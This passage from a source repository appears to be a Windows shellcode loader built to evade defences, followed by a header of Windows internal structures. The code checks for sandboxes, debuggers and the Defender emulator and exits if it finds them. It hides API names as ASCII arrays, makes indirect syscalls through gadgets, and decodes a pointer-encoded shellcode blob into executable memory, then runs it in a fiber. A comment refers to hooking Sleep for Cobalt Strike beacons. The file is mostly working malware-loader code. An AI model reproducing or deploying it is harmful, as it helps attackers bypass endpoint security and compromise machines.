NTAPI_FUNCTION CallMe(); 30 | 31 | PBYTE hNtdll = FindModuleBase("ntdll.dll"); 32 | PBYTE hKernel32 = FindModuleBase("KERNEL32.DLL"); 33 | BYTE callR12sig[] = { 0x41, 0xFF, 0xD4 }; 34 | std::vector callR12gadgets = CollectGadgets(callR12sig, sizeof(callR12sig), hNtdll); 35 | PVOID gadget = nullptr; 36 | NTSTATUS status = STATUS_UNSUCCESSFUL; 37 | 38 | CHAR NtCE[] = "ZwCreateEvent"; 39 | CHAR NtWFSO[] = "ZwWaitForSingleObject"; 40 | SyscallEntry NtCreateEvent = SSNLookup(NtCE); 41 | SyscallEntry sysNtWaitForSingleObject = SSNLookup(NtWFSO); // NtWaitForSingleObject is predefined in winternl.h 42 | 43 | LPVOID mainFiber = nullptr; 44 | LPVOID shellcodeFiber = nullptr; 45 | 46 | // Function to deobfuscate ASCII-encoded strings 47 | std::unique_ptr unASCIIme(const int* asciiValues, size_t length) { 48 | auto decoded = std::make_unique(length + 1); 49 | 50 | for (size_t i = 0; i < length; ++i) 51 | decoded[i] = static_cast(asciiValues[i]); 52 | 53 | decoded[length] = '\0'; // Null-terminate the string 54 | return decoded; 55 | } 56 | 57 | VOID RunMe() { 58 | const PKUSER_SHARED_DATA ksd = (PKUSER_SHARED_DATA)KUSER_SHARED_DATA_ADDRESS; 59 | 60 | // Check if Secure Boot is enabled 61 | if (!ksd->DbgSecureBootEnabled) __fastfail(0xc00000022); // Exit process if Secure Boot is disabled 62 | 63 | // Check for number of processors 64 | if (ksd->ActiveProcessorCount <= 4) __fastfail(0xc00000022); // Exit process if 4 or less active processors 65 | 66 | constexpr uint32_t TICKS_PER_SECOND = 10'000'000; 67 | LARGE_INTEGER time1; 68 | time1.LowPart = ksd->InterruptTime.LowPart; 69 | time1.HighPart = ksd->InterruptTime.High2Time; 70 | //if ((time1.QuadPart / TICKS_PER_SECOND / 60 / 60) < 1) __fastfail(0xc00000022); // Exit process if uptime is less than 1 hour 71 | 72 | //if (ksd->BootId < 100) __fastfail(0xc00000022); // Exit process if boot count is less than 100 73 | 74 | // Check for KdDebuggerEnabled 75 | if (ksd->KdDebuggerEnabled) __fastfail(0xc00000022); // Exit process if true 76 | 77 | // Simple check for VDLLs / Defender emulator 78 | if (GetProcAddress((HMODULE)hNtdll, "MpVmp32Entry")) __fastfail(0xc00000022); // Exit process if VDLL import is successful 79 | 80 | // Another check for debugger 81 | const int aZwQIP[] = { 90, 119, 81, 117, 101, 114, 121, 73, 110, 102, 111, 114, 109, 97, 116, 105, 111, 110, 80, 114, 111, 99, 101, 115, 115 }; 82 | std::unique_ptr ZwQIP = unASCIIme(aZwQIP, (sizeof(aZwQIP) / sizeof(aZwQIP[0]))); 83 | const PCHAR NtQIP = ZwQIP.get(); 84 | 85 | SyscallEntry NtQueryInformationProcess = SSNLookup(NtQIP); 86 | dwSSN = NtQueryInformationProcess.SSN; 87 | qwJMP = NtQueryInformationProcess.Syscall; 88 | gadget = GoGoGadget(callR12gadgets); 89 | 90 | PVOID debugFlags = nullptr; 91 | if (NT_SUCCESS((NTSTATUS)CallR12( 92 | (PVOID)CallMe, 93 | 4, 94 | gadget, 95 | NtCurrentProcess(), 96 | (PROCESSINFOCLASS)31, // ProcessDebugFlags 97 | &debugFlags, 98 | sizeof(debugFlags), 99 | NULL 100 | )) && debugFlags) __fastfail(0xC0000409); // Exit process if debugger is detected 101 | 102 | // Shellcode deobfuscation and preparation 103 | 104 | PVOID cHzWuUOLpKshEZso = EncodePointer((PVOID)0x4831c94881e9d4ff); 105 | PVOID qzmcczftlrofpMBK = EncodePointer((PVOID)0xffff488d05efffff); 106 | PVOID BnFPxxUTdHzXfBou = EncodePointer((PVOID)0xff48bb44f6a40b5f); 107 | PVOID XXNMyWIolkZnxquw = EncodePointer((PVOID)0x895d7f4831582748); 108 | PVOID MaFIrEQDZFRfWRTY = EncodePointer((PVOID)0x2df8ffffffe2f4b8); 109 | PVOID RdUZgSEaEksHKBzw = EncodePointer((PVOID)0xbe27efaf619d7f44); 110 | PVOID BqaqZEeAEPNHxCHA = EncodePointer((PVOID)0xf6e55a1ed90f2e12); 111 | PVOID pEfFdhEqFdQpoqch = EncodePointer((PVOID)0xbe95d93ac1d62d24); 112 | PVOID WOLbfAoYkcEkuDYg = EncodePointer((PVOID)0xbe2f5947c1d62d64); 113 | PVOID uwiZKXhkheFneKTM = EncodePointer((PVOID)0xbe2f790fc152c80e); 114 | PVOID FMlGRbqbLHPhGOeo = EncodePointer((PVOID)0xbce93a96c16cbfe8); 115 | PVOID yXPdbUEcVExPHxIj = EncodePointer((PVOID)0xcac5775da57d3e85); 116 | PVOID MZGgjmoAILVGCTyd = EncodePointer((PVOID)0x3fa94a5e48bf9216); 117 | PVOID GurEATzzcVZVIzYS = EncodePointer((PVOID)0xb7f543d4db7df406); 118 | PVOID hNplZltYVPpESpst = EncodePointer((PVOID)0xcaec0a8f02ddf744); 119 | PVOID xCgWVknCyvRsVUHZ = EncodePointer((PVOID)0xf6a443da4929180c); 120 | PVOID umughcydaJUtAhrt = EncodePointer((PVOID)0xf7745bd4c1453bcf); 121 | PVOID RqCqvWaIneDObANK = EncodePointer((PVOID)0xb684425e59be290c); 122 | PVOID axOWFjDeHhmDuStA = EncodePointer((PVOID)0x096d4ad4bdd53745); 123 | PVOID PzyVUWkmkIQWwsAh = EncodePointer((PVOID)0x20e93a96c16cbfe8); 124 | PVOID UKaEuxbaMHcFVHRE = EncodePointer((PVOID)0xb765c252c85cbe7c); 125 | PVOID GPBJMzmxizdGDxbs = EncodePointer((PVOID)0x16d1fa138a115b4c); 126 | PVOID aEUbBqlVLqLgCpmm = EncodePointer((PVOID)0xb39dda2a51053bcf); 127 | PVOID HKzolWqSFHEaxocQ = EncodePointer((PVOID)0xb680425e593b3ecf); 128 | PVOID rGrpgUSTDCGnRSxX = EncodePointer((PVOID)0xfaec4fd4c9413645); 129 | PVOID UkiKuEWPihQsBZed = EncodePointer((PVOID)0x26e5805b01157e94); 130 | PVOID UtRdjVdGKiLgoqiz = EncodePointer((PVOID)0xb7fc4a07d7042505); 131 | PVOID jmRaVonpGRiCdgiL = EncodePointer((PVOID)0xaee5521ed315fca8); 132 | PVOID pTGvgohiOFOLvctP = EncodePointer((PVOID)0xd6e559a069053e1d); 133 | PVOID jjMvRmnTSOFJsHUQ = EncodePointer((PVOID)0xacec804d600a80bb); 134 | PVOID ecThXoPqvgeoPdTY = EncodePointer((PVOID)0x09f943e5885d7f44); 135 | PVOID KqVeBhXZWhqorIlQ = EncodePointer((PVOID)0xf6a40b5fc1d0f245); 136 | PVOID rUrHyjHgczZsKdEw = EncodePointer((PVOID)0xf7a40b1e336cf42b); 137 | PVOID BHscujBmZqkyPcao = EncodePointer((PVOID)0x715bdee479e8dd12); 138 | PVOID nbtyRzIjuCLOzHPX = EncodePointer((PVOID)0xb71eadca34c08091); 139 | PVOID oaAwYlpVCipgbUeo = EncodePointer((PVOID)0xbe27cf77b55b034e); 140 | PVOID RfLfmiVPuCbBjmaj = EncodePointer((PVOID)0x765feb2a8ce63857); 141 | PVOID eFSJSYqBtDEtyjXg = EncodePointer((PVOID)0x84cb615fd01cf69e); 142 | PVOID beyiUDTcLMuJgbDM = EncodePointer((PVOID)0x09716e27f9311036); 143 | PVOID yaLBwyEBzokIYAHF = EncodePointer((PVOID)0x93d6253af1385f66); 144 | PVOID qowPmWxYQjBdZNYP = EncodePointer((PVOID)0x9ed07f2ffa67506b); 145 | PVOID GNvPOEZbSgXPdGal = EncodePointer((PVOID)0x9fc5326fbd6b4f7d); 146 | PVOID bzxbcOVbSveYzfeO = EncodePointer((PVOID)0xd8d17871e82f1c2c); 147 | PVOID LcYaLRXtmsZogKlT = EncodePointer((PVOID)0x9fd26e71e62f186b); 148 | PVOID gIKApmGFAWwPmQgq = EncodePointer((PVOID)0xc28b622bec300c6b); 149 | PVOID XQGRystfEcTjlPuc = EncodePointer((PVOID)0x84cd6834a42f1028); 150 | PVOID mQGOcpeQBbPvvUfc = EncodePointer((PVOID)0x9a8b5936ea365a76); 151 | PVOID EEezIaJMrCWOAPsU = EncodePointer((PVOID)0xc6f66433e5731625); 152 | PVOID QRiWTvDaBIzcspUq = EncodePointer((PVOID)0xd8c97b6bab5d7f90); 153 | 154 | std::vector encodedSegments = { 155 | cHzWuUOLpKshEZso, qzmcczftlrofpMBK, BnFPxxUTdHzXfBou, XXNMyWIolkZnxquw, MaFIrEQDZFRfWRTY, RdUZgSEaEksHKBzw, BqaqZEeAEPNHxCHA, pEfFdhEqFdQpoqch, WOLbfAoYkcEkuDYg, uwiZKXhkheFneKTM, FMlGRbqbLHPhGOeo, yXPdbUEcVExPHxIj, MZGgjmoAILVGCTyd, GurEATzzcVZVIzYS, hNplZltYVPpESpst, xCgWVknCyvRsVUHZ, umughcydaJUtAhrt, RqCqvWaIneDObANK, axOWFjDeHhmDuStA, PzyVUWkmkIQWwsAh, UKaEuxbaMHcFVHRE, GPBJMzmxizdGDxbs, aEUbBqlVLqLgCpmm, HKzolWqSFHEaxocQ, rGrpgUSTDCGnRSxX, UkiKuEWPihQsBZed, UtRdjVdGKiLgoqiz, jmRaVonpGRiCdgiL, pTGvgohiOFOLvctP, jjMvRmnTSOFJsHUQ, ecThXoPqvgeoPdTY, KqVeBhXZWhqorIlQ, rUrHyjHgczZsKdEw, BHscujBmZqkyPcao, nbtyRzIjuCLOzHPX, oaAwYlpVCipgbUeo, RfLfmiVPuCbBjmaj, eFSJSYqBtDEtyjXg, beyiUDTcLMuJgbDM, yaLBwyEBzokIYAHF, qowPmWxYQjBdZNYP, GNvPOEZbSgXPdGal, bzxbcOVbSveYzfeO, LcYaLRXtmsZogKlT, gIKApmGFAWwPmQgq, XQGRystfEcTjlPuc, mQGOcpeQBbPvvUfc, EEezIaJMrCWOAPsU, QRiWTvDaBIzcspUq, 156 | }; 157 | 158 | // Predefine expected shellcode size and pre-allocate space 159 | alignas(8) std::vector shellcode; 160 | //shellcode.reserve(968); 161 | shellcode.reserve(392); 162 | 163 | // Decode and reconstruct each segment 164 | for (auto encodedSegment : encodedSegments) { 165 | UINT_PTR decodedSegment = reinterpret_cast(DecodePointer(encodedSegment)); 166 | 167 | // Extract each byte and place it in the shellcode buffer 168 | shellcode.push_back((decodedSegment >> 56) & 0xFF); 169 | shellcode.push_back((decodedSegment >> 48) & 0xFF); 170 | shellcode.push_back((decodedSegment >> 40) & 0xFF); 171 | shellcode.push_back((decodedSegment >> 32) & 0xFF); 172 | shellcode.push_back((decodedSegment >> 24) & 0xFF); 173 | shellcode.push_back((decodedSegment >> 16) & 0xFF); 174 | shellcode.push_back((decodedSegment >> 8) & 0xFF); 175 | shellcode.push_back(decodedSegment & 0xFF); 176 | } 177 | 178 | const int aZwAVM[] = { 90, 119, 65, 108, 108, 111, 99, 97, 116, 101, 86, 105, 114, 116, 117, 97, 108, 77, 101, 109, 111, 114, 121 }; // ZwAllocateVirtualMemory 179 | std::unique_ptr ZwAVM = unASCIIme(aZwAVM, (sizeof(aZwAVM) / sizeof(aZwAVM[0]))); 180 | const PCHAR NtAVM = ZwAVM.get(); 181 | 182 | SyscallEntry NtAllocateVirtualMemory = SSNLookup(NtAVM); 183 | dwSSN = NtAllocateVirtualMemory.SSN; 184 | qwJMP = NtAllocateVirtualMemory.Syscall; 185 | gadget = GoGoGadget(callR12gadgets); 186 | 187 | PVOID baseAddress = nullptr; 188 | SIZE_T regionSize = shellcode.size(); 189 | status = (NTSTATUS)CallR12( 190 | (PVOID)CallMe, 191 | 6, 192 | gadget, 193 | NtCurrentProcess(), 194 | &baseAddress, 195 | (ULONGLONG)0, 196 | ®ionSize, 197 | (ULONGLONG)(MEM_COMMIT | MEM_RESERVE), 198 | (ULONGLONG)(PAGE_EXECUTE_READWRITE) 199 | ); 200 | 201 | const int aZwWVM[] = { 90, 119, 87, 114, 105, 116, 101, 86, 105, 114, 116, 117, 97, 108, 77, 101, 109, 111, 114, 121 }; // ZwWriteVirtualMemory 202 | std::unique_ptr ZwWVM = unASCIIme(aZwWVM, (sizeof(aZwWVM) / sizeof(aZwWVM[0]))); 203 | const PCHAR NtWVM = ZwWVM.get(); 204 | 205 | SyscallEntry NtWriteVirtualMemory = SSNLookup(NtWVM); 206 | dwSSN = NtWriteVirtualMemory.SSN; 207 | qwJMP = NtWriteVirtualMemory.Syscall; 208 | gadget = GoGoGadget(callR12gadgets); 209 | 210 | SIZE_T bytesWritten = 0; 211 | status = (NTSTATUS)CallR12( 212 | (PVOID)CallMe, 213 | 5, 214 | gadget, 215 | NtCurrentProcess(), 216 | baseAddress, 217 | shellcode.data(), 218 | (ULONGLONG)shellcode.size(), 219 | &bytesWritten 220 | ); 221 | 222 | // Create a callable "function" from the allocated space 223 | void (*shellcodeFunc)() = (void(*)())baseAddress; 224 | 225 | // Hook Sleep and SleepEx for CS beacons 226 | ReSleep(); 227 | 228 | gadget = GoGoGadget(callR12gadgets); 229 | mainFiber = (LPVOID)CallR12((PVOID)ConvertThreadToFiber, 1, gadget, nullptr); 230 | 231 | gadget = GoGoGadget(callR12gadgets); 232 | shellcodeFiber = (LPVOID)CallR12((PVOID)CreateFiber, 3, gadget, NULL, (LPFIBER_START_ROUTINE)shellcodeFunc, NULL); 233 | 234 | while (true) { 235 | gadget = GoGoGadget(callR12gadgets); 236 | CallR12((PVOID)SwitchToFiber, 1, gadget, shellcodeFiber); 237 | } 238 | } 239 | 240 | INT WINAPI CALLBACK WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR lpCmdLine, _In_ int nShowCmd) { 241 | if (FiveHourEnergy()) __fastfail(0x31337); 242 | RunMe(); 243 | return 0; 244 | } 245 | 246 | /* 247 | int main() { 248 | BYTE sig[] = { 0xff, 0x27 }; 249 | std::vector gadgets = CollectGadgets(sig, 2, hNtdll); 250 | CheckGadgetPreBytes(gadgets, 2, 8); 251 | } 252 | */ 253 | -------------------------------------------------------------------------------- /headers/structs.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #ifndef STRUCTS_H 4 | #define STRUCTS_H 5 | 6 | typedef struct SyscallEntry { 7 | INT SSN; 8 | PVOID Address; 9 | PVOID Syscall; 10 | }; 11 | 12 | //0x18 bytes (sizeof) 13 | struct _RTL_BALANCED_NODE { 14 | union 15 | { 16 | struct _RTL_BALANCED_NODE* Children[2]; //0x0 17 | struct 18 | { 19 | struct _RTL_BALANCED_NODE* Left; //0x0 20 | struct _RTL_BALANCED_NODE* Right; //0x8 21 | }; 22 | }; 23 | union 24 | { 25 | struct 26 | { 27 | UCHAR Red : 1; //0x10 28 | UCHAR Balance : 2; //0x10 29 | }; 30 | ULONGLONG ParentValue; //0x10 31 | }; 32 | }; 33 | 34 | //0x138 bytes (sizeof) 35 | typedef struct _LDR_DATA_TABLE_ENTRY_MODIFIED { 36 | struct _LIST_ENTRY InLoadOrderLinks; //0x0 37 | struct _LIST_ENTRY InMemoryOrderLinks; //0x10 38 | struct _LIST_ENTRY InInitializationOrderLinks; //0x20 39 | PVOID DllBase; //0x30 40 | PVOID EntryPoint; //0x38 41 | ULONG SizeOfImage; //0x40 42 | struct _UNICODE_STRING FullDllName; //0x48 43 | struct _UNICODE_STRING BaseDllName; //0x58 44 | union 45 | { 46 | UCHAR FlagGroup[4]; //0x68 47 | ULONG Flags; //0x68 48 | struct 49 | { 50 | ULONG PackagedBinary : 1; //0x68 51 | ULONG MarkedForRemoval : 1; //0x68 52 | ULONG ImageDll : 1; //0x68 53 | ULONG LoadNotificationsSent : 1; //0x68 54 | ULONG TelemetryEntryProcessed : 1; //0x68 55 | ULONG ProcessStaticImport : 1; //0x68 56 | ULONG InLegacyLists : 1; //0x68 57 | ULONG InIndexes : 1; //0x68 58 | ULONG ShimDll : 1; //0x68 59 | ULONG InExceptionTable : 1; //0x68 60 | ULONG ReservedFlags1 : 2; //0x68 61 | ULONG LoadInProgress : 1; //0x68 62 | ULONG LoadConfigProcessed : 1; //0x68 63 | ULONG EntryProcessed : 1; //0x68 64 | ULONG ProtectDelayLoad : 1; //0x68 65 | ULONG ReservedFlags3 : 2; //0x68 66 | ULONG DontCallForThreads : 1; //0x68 67 | ULONG ProcessAttachCalled : 1; //0x68 68 | ULONG ProcessAttachFailed : 1; //0x68 69 | ULONG CorDeferredValidate : 1; //0x68 70 | ULONG CorImage : 1; //0x68 71 | ULONG DontRelocate : 1; //0x68 72 | ULONG CorILOnly : 1; //0x68 73 | ULONG ChpeImage : 1; //0x68 74 | ULONG ChpeEmulatorImage : 1; //0x68 75 | ULONG ReservedFlags5 : 1; //0x68 76 | ULONG Redirected : 1; //0x68 77 | ULONG ReservedFlags6 : 2; //0x68 78 | ULONG CompatDatabaseProcessed : 1; //0x68 79 | }; 80 | }; 81 | USHORT ObsoleteLoadCount; //0x6c 82 | USHORT TlsIndex; //0x6e 83 | struct _LIST_ENTRY HashLinks; //0x70 84 | ULONG TimeDateStamp; //0x80 85 | struct _ACTIVATION_CONTEXT* EntryPointActivationContext; //0x88 86 | PVOID Lock; //0x90 87 | struct _LDR_DDAG_NODE* DdagNode; //0x98 88 | struct _LIST_ENTRY NodeModuleLink; //0xa0 89 | struct _LDRP_LOAD_CONTEXT* LoadContext; //0xb0 90 | PVOID ParentDllBase; //0xb8 91 | PVOID SwitchBackContext; //0xc0 92 | struct _RTL_BALANCED_NODE BaseAddressIndexNode; //0xc8 93 | struct _RTL_BALANCED_NODE MappingInfoIndexNode; //0xe0 94 | ULONGLONG OriginalBase; //0xf8 95 | union _LARGE_INTEGER LoadTime; //0x100 96 | ULONG BaseNameHashValue; //0x108 97 | enum _LDR_DLL_LOAD_REASON LoadReason; //0x10c 98 | ULONG ImplicitPathOptions; //0x110 99 | ULONG ReferenceCount; //0x114 100 | ULONG DependentLoadFlags; //0x118 101 | UCHAR SigningLevel; //0x11c 102 | ULONG CheckSum; //0x120 103 | PVOID ActivePatchImageBase; //0x128 104 | enum _LDR_HOT_PATCH_STATE HotPatchState; //0x130 105 | } LDR_DATA_TABLE_ENTRY_MODIFIED, 106 | * PLDR_DATA_TABLE_ENTRY_MODIFIED; 107 | 108 | // Define call stack spoofing structs 109 | typedef struct { 110 | PVOID Fixup; // 0 111 | PVOID OG_retaddr; // 8 112 | PVOID rbx; // 16 113 | PVOID rdi; // 24 114 | PVOID BTIT_ss; // 32 115 | PVOID BTIT_retaddr; // 40 116 | PVOID Gadget_ss; // 48 117 | PVOID RUTS_ss; // 56 118 | PVOID RUTS_retaddr; // 64 119 | PVOID ssn; // 72 120 | PVOID trampoline; // 80 121 | PVOID rsi; // 88 122 | PVOID r12; // 96 123 | PVOID r13; // 104 124 | PVOID r14; // 112 125 | PVOID r15; // 120 126 | } PRM, 127 | * PPRM; 128 | 129 | typedef union _UNWIND_CODE { 130 | struct { 131 | BYTE CodeOffset; 132 | BYTE UnwindOp : 4; 133 | BYTE OpInfo : 4; 134 | }; 135 | USHORT FrameOffset; 136 | } UNWIND_CODE, 137 | * PUNWIND_CODE; 138 | 139 | typedef struct _UNWIND_INFO { 140 | BYTE Version : 3; 141 | BYTE Flags : 5; 142 | BYTE SizeOfProlog; 143 | BYTE CountOfCodes; 144 | BYTE FrameRegister : 4; 145 | BYTE FrameOffset : 4; 146 | UNWIND_CODE UnwindCode[1]; 147 | } UNWIND_INFO, 148 | * PUNWIND_INFO; 149 | 150 | typedef struct _EXCEPTION_INFO { 151 | UINT64 hModule; 152 | UINT64 pExceptionDirectory; 153 | DWORD dwRuntimeFunctionCount; 154 | }EXCEPTION_INFO, 155 | * PEXCEPTION_INFO; 156 | 157 | typedef struct { 158 | LPCWSTR dllPath; 159 | ULONG offset; 160 | ULONG totalStackSize; 161 | BOOL requiresLoadLibrary; 162 | BOOL setsFramePointer; 163 | PVOID returnAddress; 164 | BOOL pushRbp; 165 | ULONG countOfCodes; 166 | BOOL pushRbpIndex; 167 | } StackFrame, 168 | * PStackFrame; 169 | 170 | typedef struct _FILE_STANDARD_INFORMATION { 171 | LARGE_INTEGER AllocationSize; // The file allocation size in bytes. Usually, this value is a multiple of the sector or cluster size of the underlying physical device. 172 | LARGE_INTEGER EndOfFile; // The end of file location as a byte offset. 173 | ULONG NumberOfLinks; // The number of hard links to the file. 174 | BOOLEAN DeletePending; // The delete pending status. TRUE indicates that a file deletion has been requested. 175 | BOOLEAN Directory; // The file directory status. TRUE indicates the file object represents a directory. 176 | } FILE_STANDARD_INFORMATION, 177 | * PFILE_STANDARD_INFORMATION; 178 | 179 | typedef struct _FILE_RENAME_INFORMATION_EX { 180 | ULONG Flags; 181 | HANDLE RootDirectory; 182 | ULONG FileNameLength; 183 | _Field_size_bytes_(FileNameLength) WCHAR FileName[1]; 184 | } FILE_RENAME_INFORMATION_EX, 185 | * PFILE_RENAME_INFORMATION_EX; 186 | 187 | typedef struct _FILE_DISPOSITION_INFORMATION { 188 | BOOLEAN DeleteFile; 189 | } FILE_DISPOSITION_INFORMATION, 190 | * PFILE_DISPOSITION_INFORMATION; 191 | 192 | typedef struct _KSYSTEM_TIME { 193 | ULONG LowPart; 194 | LONG High1Time; 195 | LONG High2Time; 196 | } KSYSTEM_TIME, 197 | * PKSYSTEM_TIME; 198 | 199 | typedef struct _KUSER_SHARED_DATA { 200 | ULONG TickCountLowDeprecated; 201 | ULONG TickCountMultiplier; 202 | KSYSTEM_TIME InterruptTime; 203 | KSYSTEM_TIME SystemTime; 204 | KSYSTEM_TIME TimeZoneBias; 205 | USHORT ImageNumberLow; 206 | USHORT ImageNumberHigh; 207 | WCHAR NtSystemRoot[260]; 208 | ULONG MaxStackTraceDepth; 209 | ULONG CryptoExponent; 210 | ULONG TimeZoneId; 211 | ULONG LargePageMinimum; 212 | ULONG AitSamplingValue; 213 | ULONG AppCompatFlag; 214 | ULONGLONG RNGSeedVersion; 215 | ULONG GlobalValidationRunlevel; 216 | LONG TimeZoneBiasStamp; 217 | ULONG NtBuildNumber; 218 | NT_PRODUCT_TYPE NtProductType; 219 | BOOLEAN ProductTypeIsValid; 220 | BOOLEAN Reserved0[1]; 221 | USHORT NativeProcessorArchitecture; 222 | ULONG NtMajorVersion; 223 | ULONG NtMinorVersion; 224 | BOOLEAN ProcessorFeatures[PROCESSOR_FEATURE_MAX]; 225 | ULONG Reserved1; 226 | ULONG Reserved3; 227 | ULONG TimeSlip; 228 | ALTERNATIVE_ARCHITECTURE_TYPE AlternativeArchitecture; 229 | ULONG BootId; 230 | LARGE_INTEGER SystemExpirationDate; 231 | ULONG SuiteMask; 232 | BOOLEAN KdDebuggerEnabled; 233 | union { 234 | UCHAR MitigationPolicies; 235 | struct { 236 | UCHAR NXSupportPolicy : 2; 237 | UCHAR SEHValidationPolicy : 2; 238 | UCHAR CurDirDevicesSkippedForDlls : 2; 239 | UCHAR Reserved : 2; 240 | }; 241 | }; 242 | USHORT CyclesPerYield; 243 | ULONG ActiveConsoleId; 244 | ULONG DismountCount; 245 | ULONG ComPlusPackage; 246 | ULONG LastSystemRITEventTickCount; 247 | ULONG NumberOfPhysicalPages; 248 | BOOLEAN SafeBootMode; 249 | union { 250 | UCHAR VirtualizationFlags; 251 | struct { 252 | UCHAR ArchStartedInEl2 : 1; 253 | UCHAR QcSlIsSupported : 1; 254 | }; 255 | }; 256 | UCHAR Reserved12[2]; 257 | union { 258 | ULONG SharedDataFlags; 259 | struct { 260 | ULONG DbgErrorPortPresent : 1; 261 | ULONG DbgElevationEnabled : 1; 262 | ULONG DbgVirtEnabled : 1; 263 | ULONG DbgInstallerDetectEnabled : 1; 264 | ULONG DbgLkgEnabled : 1; 265 | ULONG DbgDynProcessorEnabled : 1; 266 | ULONG DbgConsoleBrokerEnabled : 1; 267 | ULONG DbgSecureBootEnabled : 1; 268 | ULONG DbgMultiSessionSku : 1; 269 | ULONG DbgMultiUsersInSessionSku : 1; 270 | ULONG DbgStateSeparationEnabled : 1; 271 | ULONG SpareBits : 21; 272 | } DUMMYSTRUCTNAME2; 273 | } DUMMYUNIONNAME2; 274 | ULONG DataFlagsPad[1]; 275 | ULONGLONG TestRetInstruction; 276 | LONGLONG QpcFrequency; 277 | ULONG SystemCall; 278 | ULONG Reserved2; 279 | ULONGLONG FullNumberOfPhysicalPages; 280 | ULONGLONG SystemCallPad[1]; 281 | union { 282 | KSYSTEM_TIME TickCount; 283 | ULONG64 TickCountQuad; 284 | struct { 285 | ULONG ReservedTickCountOverlay[3]; 286 | ULONG TickCountPad[1]; 287 | } DUMMYSTRUCTNAME; 288 | } DUMMYUNIONNAME3; 289 | ULONG Cookie; 290 | ULONG CookiePad[1]; 291 | LONGLONG ConsoleSessionForegroundProcessId; 292 | ULONGLONG TimeUpdateLock; 293 | ULONGLONG BaselineSystemTimeQpc; 294 | ULONGLONG BaselineInterruptTimeQpc; 295 | ULONGLONG QpcSystemTimeIncrement; 296 | ULONGLONG QpcInterruptTimeIncrement; 297 | UCHAR QpcSystemTimeIncrementShift; 298 | UCHAR QpcInterruptTimeIncrementShift; 299 | USHORT UnparkedProcessorCount; 300 | ULONG EnclaveFeatureMask[4]; 301 | ULONG TelemetryCoverageRound; 302 | USHORT UserModeGlobalLogger[16]; 303 | ULONG ImageFileExecutionOptions; 304 | ULONG LangGenerationCount; 305 | ULONGLONG Reserved4; 306 | ULONGLONG InterruptTimeBias; 307 | ULONGLONG QpcBias; 308 | ULONG ActiveProcessorCount; 309 | UCHAR ActiveGroupCount; 310 | UCHAR Reserved9; 311 | union { 312 | USHORT QpcData; 313 | struct { 314 | UCHAR QpcBypassEnabled; 315 | UCHAR QpcReserved; 316 | }; 317 | }; 318 | LARGE_INTEGER TimeZoneBiasEffectiveStart; 319 | LARGE_INTEGER TimeZoneBiasEffectiveEnd; 320 | XSTATE_CONFIGURATION XState; 321 | KSYSTEM_TIME FeatureConfigurationChangeStamp; 322 | ULONG Spare; 323 | ULONG64 UserPointerAuthMask; 324 | XSTATE_CONFIGURATION XStateArm64; 325 | ULONG Reserved10[210]; 326 | } KUSER_SHARED_DATA, 327 | * PKUSER_SHARED_DATA; 328 | 329 | #endif --------------------------------------------------------------------------------